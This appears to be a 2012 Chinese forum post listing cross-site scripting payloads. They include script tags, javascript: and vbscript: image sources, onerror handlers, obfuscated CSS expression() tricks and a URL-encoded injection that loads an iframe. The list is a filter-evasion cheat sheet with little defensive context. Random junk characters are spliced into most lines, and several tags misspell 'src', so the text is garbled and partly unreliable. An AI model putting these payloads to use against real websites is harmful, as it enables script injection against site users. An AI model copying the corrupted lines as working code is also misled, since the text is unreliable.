<script>alert("跨站")</script> (最常用）
2 M7 ~' P. G; A& O$ V<img scr=javascript:alert("跨站")></img>! n9 s! {2 Z3 m0 B
<img scr="javascript: alert(/跨站/)></img>9 s! v, u8 ~. H" W! _
<img scr="javas????cript:alert(/跨站/)" width=150></img> (?用tab键弄出来的空格）
3 Q& }& R3 j9 g% f3 L/ d<img scr="#" onerror=alert(/跨站/)></img>
0 h) t1 Q+ t' s \/ T<img scr="#" style="xss:expression(alert(/xss/));"></img>4 J, l# m, P$ M: U! j! U
<img scr="#"/* */onerror=alert(/xss/) width=150></img> (/**/ 表示注释）
2 V1 G1 U5 P& E5 ^4 X2 U8 Z8 J( ~<img src=vbscript:msgbox ("xss")></img>5 H! ~* i# l- F0 e# T
<style> input {left:expression (alert('xss'))}</style>+ E+ } g) d5 O3 \
<div style={left:expression (alert('xss'))}></div>" I, `: c- J% ~3 c4 F- ?& }! V7 A
<div style={left:exp/* */ression (alert('xss'))}></div>( W! s3 l4 \$ f8 d5 i/ A. o: j& a
<div style={left:\0065\0078ression (alert('xss'))}></div>% T: K. U) @8 X+ F( g
html 实体 <div style={left:&#ｘ0065；xpression (alert('xss'))}></div>" j' [; T, P* m# \% J- z5 g. e
unicode <div style="{left:expRessioN (alert('xss'))}">
* `! `1 r# I A% a6 d( H+ C! t: `: L6 g* z+ J2 v
"]}%3Cscript%3Ealert('By b14ckb0y')%3C/script%3E{[&item="]<iframe%20src=http://new.qzone.qq.com/9530772%20width=400%20height=600></iframe>["
7 W- Y+ U( [/ {6 f7 s+ y) X |
发表于 2012-9-13 17:15:04
收藏
支持
反对